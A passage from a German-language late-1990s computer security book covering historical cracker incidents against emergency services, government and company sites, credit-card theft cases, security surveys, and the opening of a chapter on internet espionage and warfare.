Infrastrukturen schützen und ihr kontinuierliches Arbeiten garantieren kann.
Zu diesem Zweck wurde die President's Commission on Critical Infrastructure Protection (PCCIP)
gebildet. Die PCCIP (im Web unter http://www.pccip.gov/) soll eine nationale Strategie entwickeln, um
die wertvollsten Anlagen vor Cyber-Bedrohungen zu schützen. (Zu diesen Anlagen gehören
Stromversorgung, Wasser, Bankwesen und andere Schlüssel- Dienstleistungen, ohne die Amerika im
Chaos versinken würde.)
Die PCCIP wurde gegründet, um genau solche Angriffe wie den vom März 1997 zu verhindern, als ein
schwedischer Cracker in ein Notruf-System in Florida eindrang und es lahmlegte. Elf Bezirke waren
betroffen. Der Cracker amüsierte sich, indem er die Notruf-Telefonisten miteinander verband oder den
Dienst einfach völlig lahmlegte.
Hinweis:
Der Fall des Schweden war nicht der erste, in dem Cracker Notruf-Dienste unterbrachen. In
Chesterfield, New Jersey, wurde eine Gruppe, die sich »the Legion of Doom« nannte, ähnlicher
Vergehen angezeigt. Was war ihre Motivation? »Zu versuchen, in Notruf-Systeme einzudringen und sie
mit Viren zu infizieren und damit Verwüstung zu schaffen.«
Hinweis:
Ein anderer beunruhigender Fall ereignete sich im März 1997, als ein Teenager aus Rutland,
Massachusetts, ein Flughafen-System knackte. Während der Attacke waren der
Flughafen-Kontroll-Tower und Kommunikationseinrichtungen über sechs Stunden lahmgelegt. (Die
Flughafenfeuerwehr war ebenfalls beeinträchtigt.) Es wurde berichtet, daß »die Gesundheit und
Sicherheit der Öffentlichkeit durch den Ausfall bedroht war, der Telefondienste bis etwa 15.30 h
lahmlegte. Betroffen waren der Federal Aviation Administration Tower am Worcester Flughafen, die
Flughafen-Feuerwehr in Worcester und andere Einrichtungen wie die Flughafen-Sicherheit, der
Wetterdienst und verschiedene private Luftfracht-Unternehmen. Zusätzlich, als Resultat des Ausfalls,
funktionierten über den gleichen Zeitraum weder das Hauptfunkgerät, das über das
Loop-Carrier-System mit dem Tower verbunden ist, noch eine Verbindung, mittels der Flugzeuge ein
elektronisches Signal senden können, um beim Anflug die Lichter der Landebahn zu aktivieren.« Aus:
Juvenile Computer Hacker Cuts Off FAA Tower At Regional Airport - »First Federal Charges Brought
Against a Juvenile for Computer Crime«. Transport News, März 1998
Wer ist überhaupt anfällig für Angriffe durch Cracker?
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Ziel der PCCIP ist es, solche Angriffe in großem Rahmen zu verhindern. Mitarbeiter erwarten, daß
künftige Cyber-Attacken noch bedrohlicher und weitreichender sein werden. Stellen Sie sich z.B. vor,
die Notruf-Systeme oder die Stromversorgung im ganzen Land würden ausfallen.
Die PCCIP hat erste Ergebnisse im Internet zur Verfügung gestellt. Um diese kennenzulernen (und zu
erfahren, was die PCCIP in bezug auf das Problem tut), sehen Sie sich das Dokument »Critical
Foundations: Protecting America's Infrastructures« an. Sie finden es unter
http://www.pccip.gov/report.pdf.
Andere interessante Dokumente der PCCIP finden Sie hier:
PCCIP Mission Objectives. Dieses Dokument beschreibt den Auftrag der PCCIP. Sie finden es
unter http://www.info-sec.com/pccip/web/mission.html.
Biographical Sketches of the PCCIP Commissioners. Dieses Dokument enthält die Biographien
der Mitglieder der PCCIP. http://www.info-sec.com/pccip/web/ staff_bios.html.
The Infrastructure Protection Task Force. Dies ist die Site der IPTF, einer Sondereinheit, die mit
der PCCIP zusammenarbeitet und vom FBI gegründet wurde: http://
www.fbi.gov/programs/iptf/iptf.htm.
An Audit (and Commentary) Based On Risk Assessment - Best Practices. Dieses Dokument gibt
Details über die besten Verfahren der PCCIP für Überwachungsverfahren wieder unter
http://all.net/PCCIP.html.
The PCCIP FAQ. Diese Liste häufig gestellter Fragen über die PCCIP ist zu finden unter
http://www.info-sec.com/pccip/web/faq.html.
Das National Infrastructure Protection Center
Basierend auf den Ergebnissen der PCCIP reagierte auch das amerikanische Justizministerium. Im
Februar 1998 gab Generalstaatsanwältin Janet Reno die Bildung des National Infrastructure Protection
Center (NIPC) bekannt, eine Untersuchungsorganisation, die mit Personal des an das FBI
angeschlossenen Computer Investigations and Infrastructure Threat Assessment Center (CIITACS)
bestückt ist.
Das NIPC wird Netzwerk-Attacken verfolgen und langfristige Lösungen entwikkeln, z.B. für das
Aufdecken von Eindringlingen. Ein weiteres Ziel des NIPC ist die internationale Zusammenarbeit von
Polizeibehörden.
Es gibt einige interessante Artikel über das CIITAC, das NIPC und angeschlossene Organisationen :
FBI warns 'Electronic Pearl Harbor' Possible. Maria Seminerio, ZDNET. 25. März 1998.
http://www.scri.fsu.edu/~green/d2.html
Hacking Around. The NewsHour mit Jim Lehrer, März 1998.
http://www.pbs.org/newshour/bb/cyberspace/jan-june98/hackers_5-8.html
U.S. to Set Up Interagency Defense Against Cyberattacks. Sunworld Online. Februar 1998.
http://www.sun.com/sunworldonline/swol-03-1998/swol-03-if.html#2
Wer ist überhaupt anfällig für Angriffe durch Cracker?
file:///d|/cool stuff/old/hack/kap06.htm (10 von 16) [19.04.2000 21:14:24]
Attorney General Announces Crime Center To Tackle Cyberattacks. Gayle Kesten. 28. Februar 1998.
http://www.techweb.com/wire/story/TWB19980228S0004
Background on the International Crime Control Strategy. United States Information Agency Hypermail
Server. http://usiahq.usis.usemb.se/admin/008/epf206.htm
6.2.6 Zusammenfassung der Schwachstellen der Regierung
Bis heute sind die Sicherheitsmaßnahmen der Regierung größtenteils unzureichend gewesen. Zwar
werden die Bemühungen der PCCIP, des NIPC und des CIITACS die Situation zweifellos verbessern,
aber es muß noch viel mehr getan werden.
Solange Beschäftigte der Behörden nicht richtig geschult werden, werden die Sites der Regierung
weiterhin regelmäßig geknackt. Sicherheit ist verfügbar und wenn die Regierung es nicht allein schafft,
entsprechende Sicherheitsmaßnahmen zu implementieren, muß sie Spezialisten aus dem Privatsektor
beschäftigen, die es können.
6.3 Netzwerke der privaten Wirtschaft
Es ist klar, daß Server der Regierung erfolgreich attackiert werden können, aber was ist mit dem privaten
Sektor? Sind amerikanische Wirtschaftsunternehmen - ob große oder kleine - immun gegen
Cyber-Attacken? Wohl kaum. Tatsächlich werden die Sites der privaten Wirtschaft noch wesentlich öfter
geknackt. Hier sind einige aktuelle Opfer, an die Sie sich vielleicht erinnern:
Am 18. Mai 1998 führten ungenügende Sicherheitsmaßnahmen bei America Online dazu, daß die
Site der American Civil Liberties Union (ACLU) geknackt wurde (http:// www.aclu.org/).
ACLU-Offizielle teilten mit, daß sie nicht glaubten, daß die Attacke politisch motiviert war und
der Server war innerhalb von Stunden wiederhergestellt.
Im März 1998 legten Cracker das Community Wide Web of Stockton (http://www.cwws.net/ )
lahm, nachdem die Betreiberin der Site, Marrya VandeVen, die Existenz einer
Kinderpornographie-Site aufgedeckt hatte. VandeVen teilte mit, daß die Cracker alle Daten auf
ihren Laufwerken zerstört hatten. Es dauerte ganze 24 Stunden, bis die Daten wiederhergestellt
waren und der Server wieder in Betrieb genommen werden konnte. (Einen positiven Aspekt hatte
dieser Vorfall dennoch: Aufgrund der meisterlichen Nachforschungen von Frau VandeVen
konnten die Pädophilen festgenommen werden.)
Im Januar 1998 wurde die Site der UNICEF von Jugendlichen geknackt, die die Freilassung von
Kevin Mitnick, dem bekanntesten aller Cracker, forderten. Mitnick ist derzeit wegen 1994 und
1995 begangener Attacken in Haft.
Im Dezember 1997 wurde Fox On-line (http://www.fox.com/) geknackt. (Fox-On-line ist die
Internet-Site von Fox Home Entertainment.) Einige Meinungen besagen, daß die Attacke als
Rache für die aggressive juristische Haltung von Fox gegen Amateur-Akte-X- Sites im Internet
erfolgte. Fox hatte versucht, Copyright-Verstößen, die von eifrigen Fans auf ihren privaten
Websites begangen wurden, Einhalt zu gebieten. Die Cracker hinterließen eine seltsame Nachricht,
die mit dem Satz »Sorry, Scully« begann.
Ebenfalls im Dezember 1997 wurde die beliebte Suchmaschine Yahoo! (http:// www.yahoo.com/)
Wer ist überhaupt anfällig für Angriffe durch Cracker?
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geknackt. Die Cracker drohten, daß sie eine logische Bombe in den Yahoo!-Suchmaschinen-Code
eingebaut hätten, die am 1. Weihnachtstag explodieren würde. (Eine derartige Bombe wurde nie
gefunden und am Weihnachtstag bewegte sich nichts.)
Im September 1997 legten Cracker die Website von Coca-Cola (http://www.coke.com/) lahm. Die
Eindringlinge ließen Anti-Cola-Slogans zurück und beschimpften Cola-Trinker als stumpfsinnige
Schafe. Die Coca-Cola-Leute reagierten relativ schnell, und innerhalb einiger Stunden war die
falsche Seite wieder durch die richtige ersetzt.
Diese Liste ist nur der Anfang. Im letzten Jahr wurden Hunderte privat betriebener Server geknackt.
Geschäftsleute, die der Öffentlichkeit Electronic Commerce verkaufen wollen, versichern uns, daß diese
Zwischenfälle harmlos sind. Sie weisen z.B. darauf hin, daß Kreditkarten- und persönliche Daten völlig
sicher seien. Haben sie recht? Nein.
6.3.1 Der StarWave-Zwischenfall
Im Juli 1997 kam es zum ersten weithin bekannt gewordenen Angriff durch Crakker auf
Kreditkartendaten im Internet. Und ihre Ziele waren nicht gerade bescheiden. Kreditkartennummern von
NBA- und ESPN-Kunden wurden abgefangen und verteilt.
StarWave ist der Betreiber der Website, der für den Schutz dieser Daten verantwortlich war. StarWave
ist ein bekanntes Unternehmen, das Web-Hosting für viele große kommerzielle Unternehmen bietet, u.a.
auch für ABC News. Im Juli 1997 jedoch waren die Verantwortlichen bei StarWave offensichtlich nicht
auf ein Sicherheitsloch vorbereitet.
Der oder die Cracker nahmen die Kreditkartennummern und mailten sie an NBA- und
ESPN-Abonnenten, um ihnen zu demonstrieren, daß ihre Kreditkartendaten nicht geschützt waren. Der
E-Mail war eine Nachricht hinzugefügt, dessen relevanter Teil wie folgt lautete:
Ganz offensichtlich hält es StarWave nicht für nötig, die individuellen Kreditkartennummern
zu schützen. (Dies ist eine der schlechtesten Sicherheitsimplementierungen, die wir jemals
gesehen haben.)
Die StarWave-Offiziellen antworteten schnell und erklärten, daß das Sicherheitsloch nur minimal sei. Sie
änderten System-Paßwörter und haben eine zusätzliche Verschlüsselungsebene eingefügt. Die Tatsache
jedoch bleibt bestehen: Kreditkartendaten von Benutzern sind bekannt geworden.
Andere Fälle bezüglich Kreditkartendaten
Verfechter des Electronic Commerce versichern, daß der StarWave-Fall ein Einzelfall war. Tatsächlich
behaupten viele von ihnen, daß es keine anderen bestätigten Fälle von Kreditkartennummern-Diebstahl
im Internet gibt. Das ist nicht wahr.
Denken Sie an den Fall Carlos Felipe Salgado. Salgado benutzte ein Sniffer-Programm (Sie werden in
Kapitel 13 alles über Sniffer erfahren), um Tausende Kreditkartennummern aus dem Web zu stehlen. In
ihrer eidesstattlichen Erklärung gaben FBI-Agenten bekannt:
Zwischen, am oder um den 2. Mai und den 21. Mai 1997 hat sich der Angeklagte Carlos
Wer ist überhaupt anfällig für Angriffe durch Cracker?
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Felipe Salgado jr., auch bekannt als »Smak«, innerhalb des Staates und des nördlichen
Distrikts Kaliforniens bewußt und mit betrügerischer Absicht mit unerlaubten Mitteln
Zugang zu innerstaatlichen Geschäftseinrichtungen, d.h. zu über 100.000 gestohlenen
Kreditkartennummern verschaffen und durch dieses Verhalten mehr als 1.000 $ erhalten.
Salgados Methode ist bei Crackern sehr bekannt:
Während routinemäßiger Wartungsarbeiten an den Internet-Servern am Freitag, den 28.
Mai 1997, entdeckten Techniker, daß jemand in die Server eingedrungen war. Nähere
Untersuchungen durch die Techniker zeigten, daß ein »Packet Sniffer« in das System
installiert worden war. Das Programm wurde dazu benutzt, Benutzer-Identifikationen und
-Paßwörter abzufangen. [...] das FBI traf »Smak« zur vereinbarten Stunde am vereinbarten
Ort. »Smak« übergab eine verschlüsselte CD, die über 100.000 gestohlene
Kreditkartennummern enthielt. Nach Bestätigung der Richtigkeit der
Kreditkarteninformationen durch Entschlüsselung der Daten wurde »Smak« vom FBI
verhaftet.
Sniffer-Attacken sind wahrscheinlich der üblichste Weg, um Kreditkartendaten (und
zusammengehörende Benutzernamen und Paßwörter) abzufangen. Sie sind so üblich, daß Jonathan
Littman (ein bekannter Autor eines Bestsellers über Hacking) als Antwort auf den Salgado- Fall
folgendes schrieb:
Tatsache Nr. 1: Dies war eine altmodische Attacke - derartige Attacken passieren etwa so
häufig wie ein Hund sich selbst beschnuppert. Den Pakket Sniffer, den Carlos Felipe
Salgado jr., auch bekannt als »Smak«, auf dem Server eines Internet Service Providers in
San Diego installiert hat, benutzen Hacker schon seit Jahren. Mein Provider in
Nord-Kalifornien wurde vor zwei Monaten attackiert und letzte Woche wieder. Was glauben
Sie, wollte dieser Hacker installieren? Aus: Take No Solace in This Sting. Jonathan Littman.
ZDNET News. http://www.zdnet.com/zdnn/content/zdnn/ 0523/zdnn0007.html.
Wir können in naher Zukunft weitere Fälle wie den Salgado-Fall erwarten. Der Mitnick-Fall hatte
ähnliche Ergebnisse: Mitnick hatte etwa 20.000 Kreditkartennummern von Laufwerken von Netcom,
einem Internet Service Provider aus Nordkalifornien, gestohlen. Mitnick machte allerdings nicht den
Versuch, die Kartennummern zu benutzen oder zu verkaufen.
Diese Fälle überschatten das Internet. Sind Sie sicher, daß Sie Ihre Daten auf den Festplatten von Internet
Service Providern oder Online-Shopping-Centern speichern lassen wollen? Das Risiko ist sehr groß,
auch wenn die Betreiber dieser Sites die Sicherheitslöcher für entfernte Attacken schließen. Betrachten
Sie diese Fälle:
Im Mai 1997 stahl jemand eine Festplatte aus einem Server von Levi Strauss. Der Dieb machte
sich mit 40.000 Kreditkartennummern (und anderen persönlichen Kundendaten) aus dem Staub.
Im November 1996 stahl jemand einen Server von Visa in Kalifornien und erhielt damit 300.000
Kreditkartennummern auf einen Streich.
1995 wurden 50.000 Telefonkartennummern von einem MCI-Server gestohlen. Diese Nummern
wurden schließlich dazu benutzt, Anrufe in einem Wert von 50 Millionen Dollar zu tätigen.
1997 wurde ich mit der Überprüfung von Protokollen eines lokalen Internet Service Providers beauftragt.
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Einer seiner Stammkunden hatte eine T1-Linie, über die er eine Website betrieb. Über diese T1-Linie
knackte einer der Angestellten den Hauptrechner des Providers, um eine der größten
Kreditkarten-Abrechnungszentralen im Internet zu attackieren. Stellen Sie sich vor, der Cracker hätte es
geschafft, einen Sniffer in diesem System zu installieren!
Aus all diesen Gründen ist das Internet für großangelegte Handelsgeschäfte noch nicht bereit. Jeden Tag
werden die Geschichten unglaublicher.
6.3.2 Die Trends
Vollständige Statistiken über das Durchbrechen von Sicherheitsmaßnahmen sind schwer zu bekommen.
Es gibt jedoch ein paar gute Quellen. Eine ist das Computer Crime and Security Survey des Computer
Security Institute. Das CSI-Gutachten wird jährlich erstellt und die Ergebnisse für 1998 sind gerade
herausgekommen. Sie können diese Ergebnisse im Web finden unter:
http://www.gocsi.com/prelea11.htm
Das CSI-Gutachten stellt für 1998 einen starken Anstieg der Computer-Kriminalität fest. Zum Beispiel
berichteten 64 Prozent der 520 Befragten über ein Durchbrechen von Sicherheitsmaßnahmen im letzten
Jahr (diese Zahl hat sich gegenüber 1997 um 16 Prozent erhöht). Etwa ein Viertel der Befragten erlitten
umfangreiche Denial-of-Service-Attacken und die gleiche Anzahl erlebte ein Eindringen von entfernten
Angreifern. Und schließlich gaben 54 Prozent aller Befragten an, daß das Internet die Eingangstür für
Eindringlinge sei.
Das CSI-Gutachten ist nicht das einzige, das einen Anstieg der Durchbrüche von Sicherheitsmaßnahmen
im Internet registriert. Die wahrscheinlich faszinierendste Studie wurde von Dan Farmer durchgeführt.
Die Farmer-Studie: Dusting Moscow
Dan Farmer, vom dem Sie schon etwas im letzten Kapitel erfahren haben und in Kapitel 10 noch mehr
hören werden, ist bekannt für seine Haltung gegen Regierungskontrollen von Verschlüsselung und er ist
ein freimütiger Verfechter von persönlicher Privatsphäre im Internet.
1996 benutzte Farmer SATAN (ein Tool, das automatisch Sicherheitslücken aufspürt), um eine
allgemeine Studie im Internet durchzuführen. Für die Studie »Shall We Dust Moscow? Security Survey of
Key Internet Hosts and Various Semi-Relevant Reflections« überprüfte Farmer 2.200 Internet-Hosts. Der
Zweck der Untersuchung war einfach: herauszufinden, wie viele Hosts für entfernte Angriffe anfällig
waren.
Die Studie stieß auf widersprüchliche Reaktionen, da Farmer nicht um Erlaubnis fragte, seine Ziele
testen zu dürfen. (Die Ziele waren übrigens zufällig ausgewählt.)
Farmers Ergebnisse waren ebenfalls strittig. Ich möchte Ihnen nichts vorwegnehmen (sie sollten die
Studie herunterladen und lesen), aber hier sind ein paar nüchterne Tatsachen:
Farmer fand heraus, daß unglaubliche 1.700 Sites (das sind 65 Prozent aller getesteten Sites)
anfällig für solche Angriffe waren, die Crackern weithin bekannt sind.
Viele der getesteten Ziele verfügten über Firewalls und andere grundlegende
Sicherheitsmaßnahmen. Maßnahmen, die für Verwaltungsangestellte den Kern ihrer
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Sicherheitstechnologien darstellen und auf die sie sich voll verlassen.
Und jetzt kommt der Clou: Farmer wählte als Ziele keine durchschnittlichen Websites, sondern Sites von
Banken, Kreditvereinigungen, Behörden und anderen wichtigen Einrichtungen, die eigentlich über gute
Sicherheitsmaßnahmen geschützt sein sollten.
Farmers Studie ist wahrscheinlich die wertvollste, die jemals durchgeführt wurde. Und ich sage Ihnen
warum: Die meisten Studien über Computer-Sicherheit werden durchgeführt, indem Hunderte von
EDV-Verantwortlichen befragt werden. Die gestellten Fragen beziehen sich in der Regel auf
Sicherheitsrichtlinien. Dies läßt einen großen Raum für verfälschte Ergebnisse, weil die
Verantwortlichen vielleicht nicht immer ganz ehrlich sind. Im Gegensatz dazu wurden für Farmers
Studie die Netzwerke selbst getestet und viele davon stellten sich als katastrophal unsicher heraus.
Um sich Farmers Studie anzuschauen gehen Sie zu:
http://www.trouble.org/survey/
Die Ernst&Young LLP/InformationWeek Information Security-Studie
Wenn Ihr Unternehmen Sie beauftragt hat, einen Sicherheitsplan aufzustellen, suchen Sie sicher nach
weiteren Statistiken. Kein Problem, es gibt eine Menge Material. Eine gute Quelle ist die
Ernst&Young-LLP/InformationWeek-Information-Security-Studie. Diese Studie finden Sie online unter:
http://www.ey.com/publicate/aabs/isaaspdf/FF0148.pdf
Die Ernst&Young-Studie unterscheidet sich ein wenig von den vorher erwähnten Studien. Zunächst
einmal ist sie eine Studie über Menschen (eigentlich ist es eine Studie über 4.000 EDV-Manager.) Den
Befragten wurde eine große Vielfalt an Fragen über Sicherheit im Internet und über Sicherheitsaspekte in
bezug auf Electronic Commerce gestellt.
Ein immer wiederkehrendes Thema in der 98er Studie ist folgendes: Die meisten Verantwortlichen (und
sogar die meisten Verwaltungsangestellten) sehen Sicherheit heute als ein Hauptanliegen an. Die Studie
zeigt, daß trotz dieser Tatsache die Mehrheit der Websites nicht genügend gesichert ist.
Mehr als 35 Prozent benutzen keine Tools zum Aufdecken von Eindringlingen.
Mehr als 50 Prozent setzen keine Tools zur Überwachung von Internet-Verbindungen ein.
Mehr als 60 Prozent haben keine schriftlichen Richtlinien darüber, was im Falle eines
Sicherheitsvorfalls zu tun ist.
Sollte Ihr Unternehmen den Ergebnissen dieser Studie entsprechen, ist es höchste Zeit zu handeln.
(Während Tools zum Aufdecken unbefugten Eindringens vielleicht etwas viel für ein kleines
Unternehmen sind, sollte jede Firma jedoch wenigstens schriftliche Richtlinien haben.)
6.4 Eine Warnung
Viele Unternehmen, die einen Web-Server einrichten wollen, haben das Gefühl, daß Sicherheit keine
große Rolle spielt. Sie nutzen beispielsweise die Dienste eines Internet Service Providers und geben
damit die Verantwortung und Haftung an diesen weiter. Schließlich kennen Provider sich aus und
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werden niemals geknackt, oder? Falsch. Internet Service Provider werden ständig angegriffen.
Wenn Sie Informationsingenieur sind und Ihr Unternehmen einen Anschluß an das Internet plant, denken
Sie an die Grundlagen. Machen Sie alle Beteiligten darauf aufmerksam, daß Sicherheit eine wichtige
Angelegenheit ist. Andernfalls müssen Sie später die Verantwortung auf sich nehmen. Sie sollten
vorsichtig reagieren, wenn Ihnen ein Provider versichert, daß es keinerlei Grund zur Sorge gibt.
Heutzutage werden sogar Firewalls geknackt, und zwar durch dieselbe alte Methode, mit der die meisten
Server geknackt werden: durch das Ausnutzen menschlicher Fehler.
6.5 Zusammenfassung
Wir haben festgestellt, daß jede Website geknackt werden kann, einschließlich der Sites von:
Banken
Kreditvereinigungen
Militärischen Einrichtungen
Universitäten
Internet Service Providern
Erwarten Sie nicht, daß sich dieses Klima ändert. Während wir uns dem 21. Jahrhundert nähern, werden
neue und effektivere Cracking-Methoden ans Tageslicht kommen. Diese werden von feindlich gesinnten
Nationen benutzt, die unsere nationalen Infrastrukturen zerstören wollen. Darum geht es im nächsten
Kapitel: die Kriegsführung im Internet.
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7
Kriegsführung im Internet
7.1 Das Internet kann Ihr Leben ändern
Das Internet öffnet die Türen zu Welten, deren Existenz Sie sich nicht einmal vorstellen können. Wenn
Sie vor Ihrem Monitor sitzen, lange nachdem Ihre Nachbarn warm und gemütlich in ihren Betten liegen,
denken Sie doch mal an folgendes: Hinter diesem Bildschirm liegt das Wissen, das die Menschheit in
4.000 Jahren gesammelt hat. Sie können Ihre Hand ausstrecken und dieses Wissen jederzeit zu sich nach
Hause holen.
Es ist fast etwas Metaphysisches daran. Es ist, als könnten Sie in die Herzen und Köpfe der Menschheit
hineinsehen, als könnten Sie ihre innersten Inspirationen, ihre Triumphe, ihre Mißerfolge und ihre
kollektiven Beiträge für uns alle miterleben. Mit Hilfe einer herkömmlichen Suchmaschine können Sie
dies auch ganz gezielt tun und damit all die Dinge aussondern, die Sie nicht interessieren.
Aus diesem Grund kann das Internet einen enormen Einfluß auf das Leben der Menschen haben. Vor
etwa einem Jahr z.B. ging ich mit einem Maschinenbau-Ingenieur zum Abendessen. Er ist seit seiner
Kindheit fasziniert vom Weltall, aber sein Wissen darüber war stets beschränkt. Es schien, als könnte er
nie genügend Informationsquellen finden. Zwar besaß er einen Bibliotheksausweis, hatte aber nur
zweimal Bücher über die Inter-Bibliotheksvermittlung bestellt.
Beim Abendessen erzählte mein Freund, daß er sich einen Computer gekauft habe und online gegangen
sei. Er fand eine Menge Informationen. Plötzlich saß mir kein Maschinenbau-Ingenieur mehr gegenüber,
sondern ein eifriger Student von Einstein, Hawking und Sagan.
Als wir später zu meinem Auto gingen, packte er plötzlich meinen Arm und zeigte zum Himmel. Wir
sahen eine Sternendecke und er erklärte mir die Konstellationen. In diesem Moment wurde mir klar, daß
sich das Leben meines Freundes auf immer verändert hatte. Soviel ist sicher: das Internet kann das Leben
eines Menschen bereichern und ihn inspirieren. In vielen Punkten ist das eine wunderbare Sache. Aber es
gibt auch einen Haken und der hängt mit dem Wort »jedermann« zusammen.
Kriegsführung im Internet
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7.2 Können wir nicht einfach friedlich miteinander
umgehen?
Für viele Leute hat das Internet eine neue Ära der zwischenmenschlichen Kommunikation eingeläutet.
Die Anonymität der Kommunikation über das Internet läßt glauben, daß das Netz ein Ort ist, an dem die
Menschen einander ohne jegliche Vorurteile begegnen können.
Internet Service Provider geben diese Haltung oft in ihren Werbespots weiter, in denen sie das Internet
als einen Ort preisen, an dem Alter, Geschlecht und Abstammung nicht einmal existieren. In diesem
besonderen Raum namens Cyberspace existiert nur die pure zwischenmenschliche Kommunikation ohne
jene Vorurteile, denen wir im täglichen Leben ständig begegnen.
Dieser eher utopische Standpunkt ist leider unrealistisch. Bosheit existiert im Cyberspace in ebenso
großem Maße (in manchen Fällen sogar größerem) wie in der realen Welt. Tatsächlich hat das Internet
einige kalte Kriege zu neuen Höhepunkten gebracht.
Dieses Kapitel erforscht diese Kriege und ihre Parteien, die das Internet als ihr nächstes Schlachtfeld
gewählt haben.
7.3 Freund oder Feind?
Wenn ich Sie fragen würde, wer Ihre Freunde sind, würden Sie ohne Zögern antworten. Das ist so, weil
zwischenmenschliche Beziehungen auf gegenseitigem Interesse und gegenseitiger Zuneigung basieren,
einfache Qualitäten, die zum größten Teil subjektiv sind. Wenn ich Sie bitten würde, Freunde der USA
zu benennen, würden Sie wieder ohne Zögern antworten. In diesem Fall allerdings wäre Ihre Antwort
wahrscheinlich komplett falsch.
In diplomatischen Kreisen beschreibt der Begriff »Verbündeter« jegliche ausländische Nation, die
territoriale, ideologische oder wirtschaftliche Interessen mit einer anderen Nation teilt. Wir bezeichnen
die eine oder andere Nation als Verbündete, basierend auf verschiedenen Verhandlungsergebnissen, einer
Handvoll Zusicherungen und, manchmal, verbindlichen Verträgen.
Zum Beispiel zählen Amerikaner Frankreich und Israel zu ihren Verbündeten. Jedes dieser Länder
besetzt eine geographische Region, an deren Schutz Amerika interessiert ist, und beide teilen
amerikanische Vorstellungen von Demokratie. Amerika und Frankreich haben gemeinsam gegen die
Nazis gekämpft, und Amerika unterstützt Israel schon seit langer Zeit in der Wiedereingliederung von
Juden aus Rußland. Wenn diese Nationen Amerikas Verbündete sind, warum spionieren sie dann
Amerika aus?
Im letzten Jahrzehnt waren die USA Ziel weitreichender Technologie- und Industriespionage , oft
begangen von Freunden und Verbündeten. 1997 benannte die American Society for Industrial Security
einige Nationen, die routinemäßig Industriespionage gegen die USA betreiben. Unter diesen Nationen
waren auch die folgenden zu finden:
Frankreich
Deutschland
Kriegsführung im Internet
file:///d|/cool stuff/old/hack/kap07.htm (2 von 18) [19.04.2000 21:14:26]
Israel
China
Südkorea
Vier davon sind Verbündete der USA.
Warnung:
Fliegen Sie mit Air France? Wenn ja, passen Sie auf, was Sie am Telefon sagen. Air France wurde beim
Abhören elektronischer Kommunikation von amerikanischen Touristen auf ihrer Reise nach Europa
ertappt.
Frankreichs Spionageaktivitäten sind besonders bemerkenswert. Am 12. Januar 1998 berichtete die Los
Angeles Times, daß der französische Geheimdienst etwa 70 amerikanische Unternehmen ausspioniert hat,
darunter Boeing und Texas Instruments. Frankreich benutzt dazu, wie die meisten Nationen, generelle
Techniken zur Beschaffung von Informationen:
Abhöreinrichtungen
Eindringen in Computernetzwerke
Stehlen geschützter Informationen
Glauben Sie immer noch, daß Frankreich ein Verbündeter Amerikas ist?
Wahrscheinlich schockiert Sie das alles. Lassen Sie mich einen anderen Blickwinkel einnehmen. Wenn
Sie Franzose, Israeli, Deutscher oder Südkoreaner sind, sollten Sie folgendes wissen: Amerika spioniert
Ihr Land ebenfalls aus, und zwar 24 Stunden am Tag, 7 Tage in der Woche. Tatsächlich spioniert jede
Industrienation. Das ist einfach so. Nationen haben ihre eigenen wirtschaftlichen und politischen
Tagesordnungen. Diese haben natürlich - notwendigerweise - weit größere Priorität als Pakte, die mit
Verbündeten geschlossen wurden. Anders gesagt, man kann Frankreich diese Aktivitäten nicht
vorwerfen.
Das Problem ist, daß sich die Zeiten drastisch verändert haben. Seit Tausenden von Jahren wurden für
Spionage, Sabotage und Krieg stets Menschen eingesetzt. Tatsächlich hat sich das Anlitz des Spions
durch die Jahrhunderte kaum verändert. Ob listiger Infiltrator, einflußreicher Agent oder gewiefter
Spitzel, er war vor allem menschlich.
Seitdem haben sich die Regeln geändert. Telekommunikation und Computertechnologie ließen verrückte
Phantasien über elektronische Spionage und elektronischen Krieg harte Realität werden. Daher müssen
feindliche Nationen heutzutage keine menschlichen Spione mehr losschicken. Statt dessen versenden sie
Datenpakete - und warum nicht? Diese Pakete sind billiger. Sie rauchen nicht, trinken nicht, spielen nicht
und werden nicht durch schlechten Ruf, sexuelle Indiskretionen oder Strafregister belastet. Vor allem
sind Datenpakete unsichtbar (zumindest für die Leute, die schlechte Sicherheitsmaßnahmen anwenden).
Von hier ist es nur ein kleiner Schritt, sich das Internet als ein hervorragendes Spionagewerkzeug
vorzustellen. Leider haben viele Regierungen das erst spät erkannt. Statt dessen wurde das
Internet-Spionage-Szenario als verrückte Vision abgetan. Als wild übertriebene Phantasien von Militärs
und Geheimdiensten, die keinen Kriegsschauplatz mehr hatten und deshalb zu Mutmaßungen als ihrer
einzigen Unterhaltung griffen.
Kriegsführung im Internet
file:///d|/cool stuff/old/hack/kap07.htm (3 von 18) [19.04.2000 21:14:26]
7.4 Kann das Internet für Spionagezwecke genutzt
werden?
Fähige Analytiker haben hitzige Debatten darüber geführt, ob das Internet für Spionagezwecke genutzt
werden kann. Sie können die Diskussionen beenden, denn der Fall ist schon eingetroffen. Zum Beispiel
basierte das Raumfahrtprogramm der Sowjetunion auf amerikanischer Technologie, die aus dem Internet
gestohlen wurde. Entwürfe wurden über mehrere technische Universitäten im Internet erworben. Robert
Windrem sagt in »How Soviets Stole a Shuttle«, daß
die National Security Agency herausfand, daß die Online-Akquirierung sehr gründlich
durchgeführt wurde. Die Sowjets benutzten zwei Ost-West-Forschungszentren in Wien und
Helsinki als Deckmantel, um die Informationen nach Moskau zu schleusen, wo sie fast rund
um die Uhr die Drucker beschäftigten. Geheimdienst-Offizielle teilten ABC News mit, daß
die Sowjets durch Online-Spionage Milliarden für ihr Raumfahrtprogramm gespart hätten.
Die Sowjets haben das Internet schon seit langer Zeit als eine gute Quelle für Geheimdienst-
Informationen anerkannt. Eine Internet-Legende erwarb internationalen Ruhm, als er einen Ring von
KGB-Spionen aufdeckte, der das Internet zum Stehlen amerikanischer Geheimnisse nutzte. Ich beziehe
mich hier auf Clifford Stoll, einen Astronomen, der damals an einer Universität in Berkeley, Kalifornien,
beschäftigt war.
Stoll arbeitete eigentlich daran, die Ursache für einen Buchhaltungsfehler festzustellen. Während seiner
Arbeit entdeckte er, daß jemand in die Computer der Universität eingedrungen war. Statt den
Eindringling zu konfrontieren, beobachtete Stoll ihn. Was er sah, war sehr beunruhigend.
Der Eindringling benutzte Stolls Server als Einstiegspunkt. Die tatsächlichen Ziele waren Computer von
Militäreinrichtungen, darunter Server des Pentagons. Der Eindringling suchte nach Informationen über
Amerikas Bereitschaft für einen nuklearen Angriff. Stoll erkannte, was das war: Spionage. Daher
kontaktierte er das FBI. Zu Stolls Überrraschung gingen die FBI-Agenten jedoch über die ganze
